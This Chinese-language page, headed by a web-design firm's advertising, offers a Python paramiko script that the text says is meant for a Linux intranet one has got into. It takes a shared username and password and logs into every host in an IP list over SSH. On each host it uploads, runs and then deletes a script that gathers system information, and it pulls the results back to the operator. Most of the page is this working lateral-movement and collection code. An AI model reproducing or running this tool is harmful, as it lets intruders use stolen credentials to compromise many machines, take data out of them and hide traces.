十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
用途:
创新互联建站-成都网站建设公司,专注成都网站设计、网站建设、网站营销推广,空间域名,虚拟空间,网站托管维护有关企业网站制作方案、改版、费用等问题,请联系创新互联建站。
搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。
缺点:
不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改
执行过程:
执行ssh.py root root 会自动登录ssh,上传本地文件目录下的1.py文件到linux服务器tmp目录,执行/tmp/1.py文件,删除/tmp/1.py文件,把1.py执行的文件的生成的test.txt下载回本地。注意:下载的文件名已硬编码在1.py文件28行,如果下载的文件是其他的名字 请自行修改(下载文件跟生成的文件是相互的 两个文件都需要改动)
# -*- coding: utf_8 -*- # Date: 2015/5/15 # author:sanr import paramiko,time,sys,os def README(): print '+' + '-' * 50 + '+' print u'\t Python ssh批量登录脚本' print u'\t ip请写入iplist.txt ' print u'\t Time:2015-5-15' print u'\t author : sanr' print '+' + '-' * 50 + '+' if len(sys.argv) != 3: print u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass" print u'[+]实例:'+os.path.basename(sys.argv[0]) + " root root" sys.exit() def upload(host,user,pswd): try: ssh = paramiko.Transport((host,22)) ssh.connect(username = user, password = pswd) sftp = paramiko.SFTPClient.from_transport(ssh) sftp.put("./1.py","/tmp/1.py") print '[+]'+host,u'ssh已登陆', # 调用执行命令函数 ssh3(host,user,pswd) # 调用创建目录函数 mkdir(host) # 下载远程主机文件 sftp.get("/tmp/test.txt", "./"+host+"/result.txt") print u'信息收集结果已成功下载' ssh.close() except: pass def ssh3(host,user,pswd): try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host,22,user,pswd, timeout=5) #stdin, stdout, stderr = ssh.exec_command('ifconfig;free') #print stdout.read() #执行命令 修改上传1.py的代码权限为777 执行1.py脚本 删除1.py脚本 stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py') ssh.close() except: pass def mkdir(path): # 引入模块 import os # 判断路径是否存在 # 存在 True # 不存在 False isExists=os.path.exists(path) # 判断结果 if not isExists: # 创建目录操作函数 os.makedirs(path) # 如果不存在则创建目录 print u' 创建目录成功', return True else: # 如果目录存在则不创建,并提示目录已存在 print u'本地目录已存在', return False if __name__=='__main__': README() start_time = time.time() with open('./iplist.txt', 'r') as f: for ip in f: host=ip.strip() user=sys.argv[1] pswd=sys.argv[2] upload(host,user,pswd) print u'[+] 报告大爷 信息已收集完毕,用时:%d 秒' % (time.time() - start_time)